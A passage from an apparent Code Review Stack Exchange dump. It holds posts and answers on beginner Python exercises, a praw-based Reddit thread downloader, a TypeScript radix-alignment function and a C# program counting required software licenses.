away is the target now? This is where calculus comes in handy, but I'll try to explain in a way that doesn't assume you already know calculus to whet your appetite for learning it (it's really not as hard as you might think).</p>\n<p>We know that for each step in time, we have <span class=\"math-container\">\\$\\Delta d = v(t)\\Delta t\\$</span> and so if we also account for the initial distance <span class=\"math-container\">\\$d_0\\$</span> we have:</p>\n<p><span class=\"math-container\">$$ d(t) = d_0 + \\sum v(t) \\Delta t $$</span></p>\n<p>Expressing this in calculus notation is very similar:</p>\n<p><span class=\"math-container\">$$ d(t) = d_0 + \\int v(t) \\delta t $$</span></p>\n<p>Substituting the equation above, that expands to this:</p>\n<p><span class=\"math-container\">$$ d(t) = d_0 + \\int v_0 + 3500 \\delta t $$</span></p>\n<p>Now evaluating this integral is probably not something you've learned yet, but it's <a href=\"http://hyperphysics.phy-astr.gsu.edu/hbase/intpol.html\" rel=\"nofollow noreferrer\">actually quite simple</a> to evaluate integrals of simple polynomials. The answer in this case is:</p>\n<p><span class=\"math-container\">$$ d(t) = 1750 t^2 + v_0 t + d_0 $$</span></p>\n<p>So given that the time to zero velocity is <span class=\"math-container\">\\$v_0/-3500\\$</span> we can evaluate:</p>\n<p><span class=\"math-container\">$$ d\\left(\\frac{v_0}{-3500}\\right) = 1750 \\left(\\frac{v_0}{-3500}\\right)^2 + v_0\\left(\\frac{v_0}{-3500}\\right) + d_0 $$</span></p>\n<p><span class=\"math-container\">$$ = \\frac{v_0^2}{7000} + d_0 $$</span></p>\n<p>So now we are at zero velocity at a time and distance we can easily calculate. The next phase is where <span class=\"math-container\">\\$0\\leq v &lt; 1400\\$</span> and we can perform a similar analysis, but because in this phase, our equation has the velocity depending on itself, the solution uses an <a href=\"https://en.wikipedia.org/wiki/Ordinary_differential_equation\" rel=\"nofollow noreferrer\">ordinary differential equation</a> which is often taught after introductory calculus.</p>\n<p>Without showing the derivation, the solution is:</p>\n<p><span class=\"math-container\">$$ v(t) = \\frac{35 v_0 + 56000 t}{36t + 35} $$</span></p>\n<p>Since we want to know when <span class=\"math-container\">\\$v(t) = 1400\\$</span>, a little algebra yields:</p>\n<p><span class=\"math-container\">$$ t = \\frac{1400-v_0}{160} $$</span></p>\n<p>We can do a similar exercise for each kind of acceleration and also then add in boost and jump time and eventually come up with one big equation that incorporates all of these and yields the time required to get to the destination given all of the variables.</p>\n<p>In short, while it's a bit tedious and involves some mathematics you might not yet have learned, there is definitely a way to solve this analytically without resorting to simulation. I hope this inspires you to keep learning more mathematics as well as helping you improve your software.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T20:53:05.497", "Id": "499837", "Score": "0", "body": "Wow! This looks like a lot of great stuff! Thanks for all of the info - I'll have to review the mathematical solution to my problem later when I can tackle it with the focus and time that will be required. I agree with you on most of what you said, except with a few things like the unused variable which is used in a part of my program that isn't related (my fault, not yours)." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T14:09:07.243", "Id": "253459", "ParentId": "253356", "Score": "3" } } ]
{ "AcceptedAnswerId": "253459", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T18:58:08.540", "Id": "253356", "Score": "4", "Tags": [ "beginner", "c" ], "Title": "Find if a car with booster and varying throttle acceleration can reach target" }
253356
<h2>Introduction</h2> <p><strong>1) Problem description:</strong></p> <blockquote> <p>Suppose you are managing files. You are given a text file, where in the first line are storage's volume of the server and the amount of users in total that is in the text file. Each line from the second to the end shows volume of individual user's storage. Based on the server's volume limit you need to find the maximum amount of users that can be fit in the database and the maximum volume among them.</p> </blockquote> <p><strong>2) Sample.txt</strong></p> <pre><code>100 4 80 30 50 40 </code></pre> <p><strong>3) Sample output:</strong> <code>2 50</code></p> <p><strong>4) Sample output's explanation:</strong> The maximum amount of users that can be fit in the database is <code>2</code> (more than 2 will be more than <code>100</code> in total). All possible pairs, which meet volume's requirements, are <code>30 40</code> <code>30 50</code> <code>50 40</code> (each makes less than <code>100</code>). The maximum number among these pairs is <code>50</code>.</p> <hr /> <h2>Actual problem</h2> <p><strong>1) db.txt</strong></p> <pre><code>9691 1894 89 24 33 11 ... </code></pre> <p><strong>2) My solution:</strong></p> <pre><code>fName = open('../root_files/26_7791633.txt') param = fName.readline().split() data = [int(el) for el in fName.readlines()] fName.close() TARGET = int(param[0]) data.sort() target_disposable = TARGET max_num = 0 quantity = 0 # finding maximum amount while target_disposable - data[quantity] &gt;= 0: target_disposable -= data[quantity] quantity += 1 new_list = data[0:quantity] element_in_the_end = new_list.pop() remainder = TARGET - sum(new_list) # finding the very maximum number based on quantity for i in reversed(range(remainder + 1)): if i &gt; element_in_the_end: max_num = i break print(quantity, max_num) </code></pre> <p><strong>3) Output:</strong></p> <pre><code>34 601 Solution accepted Runtime: 55ms </code></pre> <p><strong>4) My question:</strong> Is there a way to make this code more concise, maybe even improving its runtime? Thank you in advance.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T17:06:26.273", "Id": "499675", "Score": "1", "body": "(The \"Solution accepted\" output is funny - I'd expect the first number to be smaller than the second. And for the *Sample*, I get `2 70`.)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T05:43:32.457", "Id": "499721", "Score": "0", "body": "@greybeard Yes, looks like a poorly-veiled attempt to trick us into fixing their non-working code." } ]
[ { "body": "<p>Some suggestions:</p>\n<ol>\n<li><p><code>foo[:bar]</code> is syntactic sugar for <code>foo[0:bar]</code>.</p>\n</li>\n<li><p>The idiomatic way to ensure that a file is closed when the code is finished with it is to use a context manager:</p>\n<pre><code>with open(…) as fName:\n [any code which reads from fName]\n</code></pre>\n</li>\n<li><p><code>data</code> is a literally meaningless name: anything stored in a variable is data. In this case you might want to use a name like <code>user_counts</code> or <code>users</code>.</p>\n</li>\n<li><p>The return value of <code>open</code> is not a file name, but rather a file descriptor.</p>\n</li>\n<li><p>Unless this is a one-off piece of code I would wrap the different bits (the input-handling code (reading the file), the central algorithm and the output code) into functions.</p>\n</li>\n<li><p>By <em>returning</em> the result rather than printing it this code could be reused by other code.</p>\n</li>\n<li><p>Since the code naturally only takes a single input stream, I would read the values from standard input (per the <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\" rel=\"noreferrer\">Unix philosophy</a>). That way the code can be called with any file trivially, as in <code>./max_sum_inputs.py &lt; ../root_files/26_7791633.txt</code></p>\n</li>\n<li><p>A linter like <code>flake8</code> or <code>pylint</code> will tell you about other non-idiomatic code, such as how variable names should all be <code>snake_case</code>.</p>\n</li>\n</ol>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T10:00:02.173", "Id": "499665", "Score": "0", "body": "(I take the 8 in *flake8* to come from the [Style Guide for Python Code](https://www.python.org/dev/peps/pep-0008/#comments)'s alias *[PEP](https://www.python.org/dev/peps/) 8*.)" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T22:38:24.610", "Id": "253368", "ParentId": "253358", "Score": "5" } }, { "body": "<ul>\n<li><p>Document, in your code, what it is to accomplish. Using <a href=\"https://www.python.org/dev/peps/pep-0257/#what-is-a-docstring\" rel=\"nofollow noreferrer\">the means the language provides</a>, if any.</p>\n</li>\n<li><p>Picking up naming from the <em>problem statement</em> (or <em>product description</em> or <em>requirements specification</em> in professional programming) facilitates following what is what. (Especially for a tutor/customer who is familiar with &quot;the original naming&quot;.)<br />\n(I understood <code># finding maximum amount</code> right away, and not for its (marginal) obviousness.<br />\nBy the same token, the next comment might read\n<code># finding the maximum volume</code>. (If it was to include <em>based on <code>quantity</code></em>, it better preceded &quot;the slice&quot; using <code>quantity</code>. Which wouldn't be a bad placement, anyway.)</p>\n</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T09:51:56.103", "Id": "499664", "Score": "1", "body": "[l0b0](https://codereview.stackexchange.com/a/253368/93149) demonstrated commendable reticence in his answer - trying to follow." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T09:51:39.313", "Id": "253379", "ParentId": "253358", "Score": "1" } } ]
{ "AcceptedAnswerId": "253368", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:10:45.180", "Id": "253358", "Score": "3", "Tags": [ "python", "algorithm" ], "Title": "Finding max amount of integers in list that add up to target" }
253358
<p>This is an exercise in the Automate The Boring Stuff book. I am supposed to create a function that takes a list value as an argument and returns a string with all the items separated by a comma and a space, with 'and' inserted before the last item. My code also includes a loop for the user to create their list.</p> <pre><code>def add_and(alist): if ((alist != []) &amp; (len(alist) &gt; 2)): for item in alist[:-1]: print(item + &quot;, &quot;,end=&quot;&quot;) print(&quot;and&quot;, alist[-1]) elif ((alist != []) &amp; (len(alist) == 2)): print(alist[0], &quot;and&quot;, alist[1]) elif ((alist != []) &amp; (len(alist) == 1)): print(alist[0]) else: print(&quot;&quot;) your_list = [] while True: print(&quot;Enter An Item or nothing&quot;) item = input() if ((item) == &quot;&quot;): print(&quot;&quot;) break else: your_list.append(item) continue add_and(your_list) </code></pre> <p>I know that the code works, but I was wondering if there were any faux-pas that I am implementing, or if there is anything I could obviously do to make it cleaner. Thanks!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T21:08:08.850", "Id": "499634", "Score": "0", "body": "You've not implemented the correct solution for the question. Your task is to \"_create a function that ... returns a string_\". The function you wrote prints the result but returns nothing." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T21:26:09.283", "Id": "499635", "Score": "0", "body": "If I replace my \"print\" with \"return\", would it be correct?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T01:23:36.063", "Id": "499652", "Score": "0", "body": "The last two in the function could be replaced by `return`, the middle one would need modification, but could also be replaced. But the first two cannot be. You can only return from a function once, not multiple time in a loop; the first `return` executed terminates the function." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T01:27:33.610", "Id": "499654", "Score": "0", "body": "You can edit the question to match what the code does, and then we can review what you have written, or we can attempt to migrate the code to _Stack Overflow_, where you might get assistance with fixing the code to do what the problem asks. Which would you prefer?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T15:35:09.657", "Id": "499672", "Score": "0", "body": "Given the original intent of the post I'm leaning toward the former." } ]
[ { "body": "<ul>\n<li>Don't surround sub-predicates or predicates with parens when that isn't needed</li>\n<li>Use logical <code>and</code> rather than binary <code>&amp;</code></li>\n<li>Use <code>join</code> rather than a <code>for</code>-and-concatenate</li>\n<li>Factor out common sub-predicates for your list emptiness checks into an outer <code>if</code></li>\n<li>Don't <code>else</code>-after-<code>break</code></li>\n<li>No need to continue</li>\n<li>Gather your input in a separate function</li>\n<li>Do not leave the <code>input</code> prompt blank</li>\n</ul>\n<p>Suggested:</p>\n<pre><code>def and_add(alist):\n if len(alist) &gt; 1:\n print(', '.join(alist[:-1]), 'and', alist[-1])\n elif len(alist) == 1:\n print(alist[0])\n else:\n print('')\n\ndef get_input():\n while True:\n item = input('Enter an item or nothing: ')\n if not item:\n return\n yield item\n\nand_add(list(get_input())) \n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T20:45:22.530", "Id": "499702", "Score": "0", "body": "Thanks! Why can't you else-after-break?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T20:45:43.717", "Id": "499703", "Score": "2", "body": "You can, it's just redundant." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T15:52:53.613", "Id": "253386", "ParentId": "253361", "Score": "2" } } ]
{ "AcceptedAnswerId": "253386", "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:34:43.517", "Id": "253361", "Score": "1", "Tags": [ "python" ], "Title": "Comma Code (Python) (Automate The Boring Stuff)" }
253361
<p>I wanted to save the a reddit thread to a <code>.org</code> file. I noticed that it is easier to use pandoc to convert <code>.md</code> to <code>.org</code> (esp when it comes to list items).</p> <p>My code prints the output to the screen which can be redirected to the required file.</p> <p>Process is as follows.</p> <pre><code>python reddit_download.py -u &lt;url_to_download&gt; &gt; myfile.md pandoc -s myfile.md -o myfile.org </code></pre> <p>My script</p> <p><code>reddit_config.py</code></p> <pre class="lang-py prettyprint-override"><code>class Config: client_id = 'myID' client_secret = 'mySecret' password = 'my_password' user_agent = 'my_user_agent' username = 'my_username' </code></pre> <p><code>reddit_download.py</code></p> <pre class="lang-py prettyprint-override"><code>import argparse import praw from reddit_config import Config def reddit(): red = praw.Reddit(client_id=Config.client_id, client_secret=Config.client_secret, user_agent=Config.user_agent, username=Config.username, password=Config.password) return red def parse_args(): parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, help='URL required', dest='url') return parser def get_full_page(reddit_instance, url): post = reddit_instance.submission(url=url) page = [{ # content of post &quot;id&quot;: post.id, &quot;parent&quot;: post.id, &quot;body&quot;: post.selftext, &quot;author&quot;: post.author.name, &quot;ups&quot;: post.ups, &quot;title&quot;: post.title }] # all comments/replies list_of_comments = post.comments.list() list_of_comments_with_desired_attributes = [{ &quot;id&quot;: comment.id, &quot;parent&quot;: comment.parent_id.replace('t1_', '').replace('t3_', ''), &quot;body&quot;: comment.body, &quot;author&quot;: comment.author.name, &quot;ups&quot;: comment.ups } for comment in list_of_comments ] page += list_of_comments_with_desired_attributes return page def lookup(loc): comment_lookup = dict() for comment in loc: comment_id = comment[&quot;id&quot;] if comment_id != comment[&quot;parent&quot;]: parent_id = comment[&quot;parent&quot;] children = comment_lookup.get(parent_id) if not children: children = comment_lookup[parent_id] = list() children.append(comment.copy()) else: parent = comment.copy() return parent, comment_lookup def hierarchy(parent_element, comment_lookup): parents = comment_lookup.get(parent_element[&quot;id&quot;], list()) for parent in parents: hierarchy(parent, comment_lookup) if parents: parent_element['children'] = parents return parent_element def org(post_dict, parent_id, visited=None, depth=1): if visited is None: visited = set() visited.add(parent_id) print('#'*depth, post_dict.get('ups'), post_dict.get('author'), end='\n\n') title = post_dict.get('title') if title is not None: print(post_dict.get('title', ''), end='\n\n') print(post_dict.get('body'), end='\n\n') children = post_dict.get('children') if children is not None: for child in children: if child.get('id') not in visited: org(child, child.get('id'), visited, depth+1) return '' if __name__ == '__main__': parser = parse_args() args = parser.parse_args() reddit = reddit() page = get_full_page(reddit, args.url) parent, comment_lookup = lookup(page) post = hierarchy(parent, comment_lookup) post_id = post.get('id') org(post, post_id) </code></pre> <p>Is there a way to improve this code? I am confused how to remove the print statements and build a string to write to a file. Effectively I don't have to redirect the output in shell to a file.</p>
[]
[ { "body": "<h2>Configuration</h2>\n<p>Your <code>reddit_config.Config</code> needs to be changed so that, rather than hard-coded strings in a Python module, these are externalized to environment variables, or a permissions-restricted configuration file.</p>\n<h2>List construction alternatives</h2>\n<p>There are some alternatives to your concatenate-and-return in <code>get_full_page</code>: you can either make this a generator function -</p>\n<pre><code> yield {\n # content of post\n &quot;id&quot;: post.id,\n &quot;parent&quot;: post.id,\n &quot;body&quot;: post.selftext,\n &quot;author&quot;: post.author.name,\n &quot;ups&quot;: post.ups,\n &quot;title&quot;: post.title\n }\n # ...\n yield from (\n {\n &quot;id&quot;: comment.id,\n &quot;parent&quot;: comment.parent_id.replace('t1_', '').replace('t3_', ''),\n &quot;body&quot;: comment.body,\n &quot;author&quot;: comment.author.name,\n &quot;ups&quot;: comment.ups\n }\n for comment in list_of_comments\n )\n</code></pre>\n<p>or you can star-expand -</p>\n<pre><code>return [\n {\n # content of post\n &quot;id&quot;: post.id,\n &quot;parent&quot;: post.id,\n &quot;body&quot;: post.selftext,\n &quot;author&quot;: post.author.name,\n &quot;ups&quot;: post.ups,\n &quot;title&quot;: post.title\n },\n *(\n {\n &quot;id&quot;: comment.id,\n &quot;parent&quot;: comment.parent_id.replace('t1_', '').replace('t3_', ''),\n &quot;body&quot;: comment.body,\n &quot;author&quot;: comment.author.name,\n &quot;ups&quot;: comment.ups\n }\n for comment in list_of_comments\n ),\n]\n</code></pre>\n<h2>Truthy lists</h2>\n<p>Your</p>\n<pre><code>if not children\n</code></pre>\n<p>is too broad. This statement will pass if <code>children == []</code>, which it doesn't need to - instead, consider</p>\n<pre><code>if children is None:\n</code></pre>\n<p>or better yet, replace this whole mechanism with a <code>defaultdict</code>.</p>\n<h2>Unused return</h2>\n<p><code>org()</code> returns <code>''</code>, which both has no meaning and is unused, so you can just delete that line.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T17:30:25.440", "Id": "499676", "Score": "0", "body": "Thank you for the feedback." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T15:31:00.360", "Id": "253385", "ParentId": "253362", "Score": "3" } } ]
{ "AcceptedAnswerId": "253385", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:40:00.987", "Id": "253362", "Score": "1", "Tags": [ "python" ], "Title": "Download and print reddit page which can be redirected to file" }
253362
<p>In cases where two radices are powers of a common sub-case (e.g., base 8 and base 16 are both powers of base 2), it is possible to align blocks of digits between representations to make converting between those bases more efficient. That's what makes, e.g., streaming base64 encoding and decoding possible--you can do it in chunks of 3 (for encoding) or 4 (for decoding) bytes, rather than needing to accumulate the entire number first. This function takes in two radices and returns a pair of numbers indicating how many digits must be consumed in one base in order to produce a block of output digits in the other base (with &quot;Infinity&quot; indicating that you must consume the entire source number--there is no smaller alignment). It does this by calculating a minimal solution to the equation <span class="math-container">\$a^x = b^y\$</span>, where <span class="math-container">\$a\$</span> and <span class="math-container">\$b\$</span> are the radices and <span class="math-container">\$x\$</span> and <span class="math-container">\$y\$</span> are the sizes of their minimal aligning digit strings.</p> <p>Can this be made more efficient? Or if not, can it be made clearer without impacting efficiency?</p> <pre><code>export function digit_ratio(n: number, m: number) { if (n === m) return [1, 1]; const [a, b] = n &lt; m ? [n, m] : [m, n]; // Find x such that a ^ x = b ^ y // Find c such that a = c ^ w and b = c ^ z // c only exists if b = 0 mod a (c ^ z = 0 mod c ^ w) if (b % a &gt; 0) return [Infinity, Infinity]; // Use repeated division to find // c and a lower bound for w. // c ^ (z - w) = c ^ z / c ^ w let [c, d] = [b, a]; for (;;) { c = c / d | 0; if (c === d) break; if (c &lt; d) [c, d] = [d, c]; if (c % d &gt; 0) return [Infinity, Infinity]; } const logc = Math.log(c); const w = Math.log(a)/logc|0; const z = Math.log(b)/logc|0; // put GCD(w, z) in g let [g, f] = [w, z]; while (f) [f, g] = [g % f, f]; // return x == the factor by which // to multiply w so as to reach its // least common multiple with z. return n &lt; m ? [z/g, w/g] : [w/g, z/g]; } </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:46:59.567", "Id": "253363", "Score": "0", "Tags": [ "performance", "algorithm", "typescript" ], "Title": "Find alignable blocks of digits between different bases" }
253363
<p>Some applications from vendors are allowed to be installed on multiple computers per user with specific restrictions. In our scenario, each copy of the application (ID 374) allows the user to install the application on to two computers if at least one of them is a laptop. Given the provided data, create a C# utility that would calculate the minimum number of copies of the application the company must purchase.</p> <p><strong>Examples</strong></p> <p><em>Example 1</em></p> <p>Given the following scenario</p> <p><a href="https://i.stack.imgur.com/vFcGp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vFcGp.png" alt="Table 1" /></a></p> <p>Only one copy of the application is required as the user has installed it on two computers, with one of them being a laptop.</p> <p><em>Example 2</em></p> <p>In the following scenario</p> <p><a href="https://i.stack.imgur.com/OJ93v.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OJ93v.png" alt="Table 2" /></a></p> <p>Three copies of the application are required as UserID 2 has installed the application on two computers, but neither of them is a laptop and thus both computers require a purchase of the application.</p> <p><em>Example 3</em></p> <p>Occasionally the data may contain duplicate records, in the following scenario</p> <p><a href="https://i.stack.imgur.com/dhIot.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dhIot.png" alt="Table 3" /></a></p> <p>Only two copies of the application are required as the data from the second and third rows are effectively duplicates even though the ComputerType is lower case and the comment is different.</p> <p><strong>Expectations</strong></p> <p>Please provide a C# solution that calculates the minimum of copies of the application with ID 374 a company must purchase.</p> <hr> <p><strong>My C# Solution</strong></p> <p><em>Program.cs</em></p> <pre><code>using System; using System.IO; using System.Collections.Generic; using System.Linq; namespace minimum_app_copies_to_purchase { public class Installation { public int ComputerID {get;set;} public int UserID {get;set;} public int ApplicationID {get;set;} public string ComputerType {get;set;} public string Comment {get;set;} } class Program { static void Main(string[] args) { string[] csv = File.ReadAllLines(args[0]); List&lt;Installation&gt; rows = ParseCSV(csv); IEnumerable&lt;Installation&gt; applicationId374Query = from row in rows where row.ApplicationID == 374 orderby row.UserID select row; IEnumerable&lt;IGrouping&lt;int, Installation&gt;&gt; groupUsersQuery = from installation in applicationId374Query group installation by installation.UserID; Int64 copiesNeeded = 0; foreach (IGrouping&lt;int, Installation&gt; group in groupUsersQuery) { if (group.Count() == 1) { copiesNeeded += 1; } else if (group.Count() == 2) { if (group.ContainsComputerType(&quot;LAPTOP&quot;) &amp;&amp; group.ContainsComputerType(&quot;DESKTOP&quot;)) { copiesNeeded += 1; } else if (group.ContainsComputerType(&quot;LAPTOP&quot;) &amp;&amp; group.ContainsComputerType(&quot;LAPTOP&quot;)) { copiesNeeded += 1; } else { copiesNeeded += 2; } } } Console.WriteLine(&quot;Total number of copies of application id 374 needed by the company: {0}&quot;, copiesNeeded); } public static List&lt;Installation&gt; ParseCSV(string[] csv) { IEnumerable&lt;string&gt; queryRows = csv.Skip(1); IEnumerable&lt;Installation&gt; parseCsvQuery = from line in queryRows let values = line.ToUpper().Split(',') select new Installation {ComputerID = Int32.Parse(values[0]), UserID = Int32.Parse(values[1]), ApplicationID = Int32.Parse(values[2]), ComputerType = values[3], Comment = values[4]}; IEnumerable&lt;Installation&gt; queryDistinctRows = parseCsvQuery.Distinct(new Comparer()); List&lt;Installation&gt; rows = queryDistinctRows.ToList(); return rows; } } } </code></pre> <p><em>Comparer.cs</em></p> <pre><code>using System.Collections.Generic; namespace minimum_app_copies_to_purchase { public class Comparer: IEqualityComparer&lt;Installation&gt; { bool IEqualityComparer&lt;Installation&gt;.Equals(Installation a, Installation b) { return a.ComputerID == b.ComputerID &amp;&amp; a.UserID == b.UserID &amp;&amp; a.ApplicationID == b.ApplicationID &amp;&amp; a.ComputerType.Equals(b.ComputerType) &amp;&amp; a.Comment.Equals(b.Comment); } public int GetHashCode(Installation obj) { string s = $&quot;{obj.ComputerID}{obj.UserID}{obj.ApplicationID}{obj.ComputerType}&quot; + $&quot;{obj.Comment}&quot;; return s.GetHashCode(); } } } </code></pre> <p><em>Extensions.cs</em></p> <pre><code>using System.IO; using System.Collections.Generic; using System.Linq; namespace minimum_app_copies_to_purchase { public static class Extensions { public static bool ContainsComputerType(this IGrouping&lt;int, Installation&gt; source, string computerType) { bool contains = false; foreach (Installation obj in source) { if (obj.ComputerType.Equals(computerType)) { contains = true; } } return contains; } } } </code></pre> <p><strong>Sample Data</strong></p> <ul> <li><a href="https://up.labstack.com/SUG3u0R8" rel="nofollow noreferrer" title="10.3 MB small csv file">sample-small.csv</a></li> <li><a href="https://up.labstack.com/RKmqDNKU" rel="nofollow noreferrer" title="1.1 GB large csv file">sample-large.csv</a></li> </ul> <p>The output and the time it takes for the program to execute when the input is the 1.1 GB sample-large.csv file is shown below.</p> <p>First run:</p> <pre><code>$ time dotnet run sample-large.csv Total number of copies of application id 374 needed by the company: 6077 real 1m10.500s user 1m9.715s sys 0m4.266s</code></pre> <p>Second run:</p> <pre><code>$ time dotnet run sample-large.csv Total number of copies of application id 374 needed by the company: 6077 real 1m43.551s user 1m19.293s sys 0m5.288s</code></pre> <p>Third run:</p> <pre><code>$ time dotnet run sample-large.csv Total number of copies of application id 374 needed by the company: 6077 real 4m8.570s user 1m21.497s sys 0m8.317s</code></pre> <p>The program takes too long when the input is the large csv file which is 1.1 GB in size, and my laptop also starts lagging. Memory usage by this program reaches 79%, and CPU usage spikes to around 76% intermittently.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T01:49:05.297", "Id": "499655", "Score": "0", "body": "What is the correct value for the large file. Also seems computer id is unique or is the unique key computer id and user?" } ]
[ { "body": "<p>First I believe there is a bug in the code. Where the code calculating the copiesNeeded only counts if the group count is 1 or 2. But the data has users that have more computers than just 1 or 2. The Count() in the group would be the number of computers the user has, which is more than 2. I added this code to throw an exception and the program threw.</p>\n<pre><code>else\n{\n throw new Exception(&quot;Missing Computers&quot; + group.Count().ToString());\n}\n</code></pre>\n<p>To help with performance the entire file is being loaded into memory. File.ReadAllLines will return the entire file back into a string array. Also calling ToList will load the entire results into memory.</p>\n<p>IEnumerable can be deferred so that only as data is needed will it be loaded into memory. Lucky that File.ReadLines does just that. Also we don't need all the data in the file just for the count.</p>\n<pre><code>public class Installation\n{\n public Installation(int userId, bool desktop)\n {\n UserId = userId;\n Desktop = desktop;\n }\n\n public int UserId { get; }\n public bool Desktop { get; }\n}\n</code></pre>\n<p>Just basic info in the class now. The UserId it is assigned to and a bool if a desktop or laptop since that is the only two valid options.</p>\n<pre><code>public static int GetCount(string file, int applicationId)\n{\n var distinct = new HashSet&lt;int&gt;();\n var results = File.ReadLines(file)\n .Skip(1)\n .Select(x =&gt; x.Split(','))\n .Where(x =&gt; Convert.ToInt32(x[2]) == applicationId &amp;&amp; distinct.Add(Convert.ToInt32(x[0])))\n .Select(x =&gt; new Installation(Convert.ToInt32(x[1]), x[3].Equals(&quot;Desktop&quot;, StringComparison.OrdinalIgnoreCase)))\n .GroupBy(x =&gt; x.UserId)\n .Select(x =&gt; new\n {\n Desktops = x.Count(x =&gt; x.Desktop),\n Laptops = x.Count(x =&gt; !x.Desktop)\n })\n .Sum(x =&gt;\n {\n int desktopLicense;\n int laptopLicense;\n if (x.Desktops &gt;= x.Laptops)\n {\n // all free licenses used by desktops\n desktopLicense = x.Desktops - x.Laptops;\n laptopLicense = x.Laptops;\n }\n else\n {\n // take laptop minus desktop to get remaining free license\n // need to divide by 2 because use a laptop for a laptop\n desktopLicense = 0;\n laptopLicense = x.Laptops - (x.Laptops - x.Desktops) / 2;\n }\n\n return desktopLicense + laptopLicense;\n });\n\n return results;\n} \n</code></pre>\n<p>Here I'm creating a HashSet to store the computerId. If the key really is computerid + userId would make the HashSet of Tuple&lt;int, int&gt;, but looking at the data does seem computerId is unique.</p>\n<p>Then before making a class just check to make sure it's the applicationId we want and it's not a duplicate -- that's the Where statement</p>\n<p>Then create our class that holds the barebones data -- that's the Select statement</p>\n<p>We need to group by the user so that we can do the math per user -- that's the Group statement</p>\n<p>Since we have a bool we will count how many desktops the user has and how many laptops the user has -- that's the select statement.</p>\n<p>Now sum up the required licenses. Put comments in the code to explain what the math is.</p>\n<p>This way the comparer and extension methods are not required. And best part this returns 13927 license needed for the large file for 374 and runs in 10 seconds on my machine while the code review code returns back 6077, again I believe this is the wrong number, and runs in a minute and 20 seconds on my machine.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T02:21:57.110", "Id": "499851", "Score": "0", "body": "Just some reminders, `int.TryParse` (avoid parsing exceptions), and `Math.Abs` (avoid negative numbers). Though, I think the license is registered for laptops, and it treats a desktop as additional computer. So, `laptop > desktop` would be fine but `latptop < desktop` would need additional laptop licenses." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T02:27:37.200", "Id": "499852", "Score": "0", "body": "You want that on my answer or the original posting. OP doesn’t do any checking or parsing errors in original. Probably worth an answer pointing that out. What if less than 5 fields? I don’t see how there could be negative numbers in my answer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T02:41:34.107", "Id": "499853", "Score": "0", "body": "In your answer, if the original post does not have the proper methods, why not showing it in your answer?. Negative numbers should be counted since you used subtraction (even if it's not showing in your answer) as it depends on the data. The requirement states of having a laptop with each desktop, meaning, laptop should be always larger or equal to desktop, else, needs license." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T02:46:14.540", "Id": "499854", "Score": "0", "body": "Laptops have to be greater than desktop to do the subtraction. Therefore can not be negative. Either way when subtracting always subtracting the smaller number. As far as error checking it’s code review. People can code review and give input on different areas. So feel free to add your answer for error checking. I didn’t because was marked as performance and error checking will take some a small hit on performance." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T03:39:32.773", "Id": "253376", "ParentId": "253366", "Score": "1" } }, { "body": "<h2>License counting</h2>\n<pre><code>foreach (IGrouping&lt;int, Installation&gt; group in groupUsersQuery)\n{ \n if (group.Count() == 1)\n { \n copiesNeeded += 1;\n } else if (group.Count() == 2)\n {\n if (group.ContainsComputerType(&quot;LAPTOP&quot;)\n &amp;&amp; group.ContainsComputerType(&quot;DESKTOP&quot;))\n {\n copiesNeeded += 1;\n } else if (group.ContainsComputerType(&quot;LAPTOP&quot;)\n &amp;&amp; group.ContainsComputerType(&quot;LAPTOP&quot;))\n {\n copiesNeeded += 1;\n } else {\n copiesNeeded += 2;\n }\n }\n}\n</code></pre>\n<p>I am not a fan of the <code>foreach</code>, because it's an unnecessary computational load.<br />\nWhen possible, it's better to do a calculation once as opposed to iteratively approaching it.</p>\n<p>A classic example here is <a 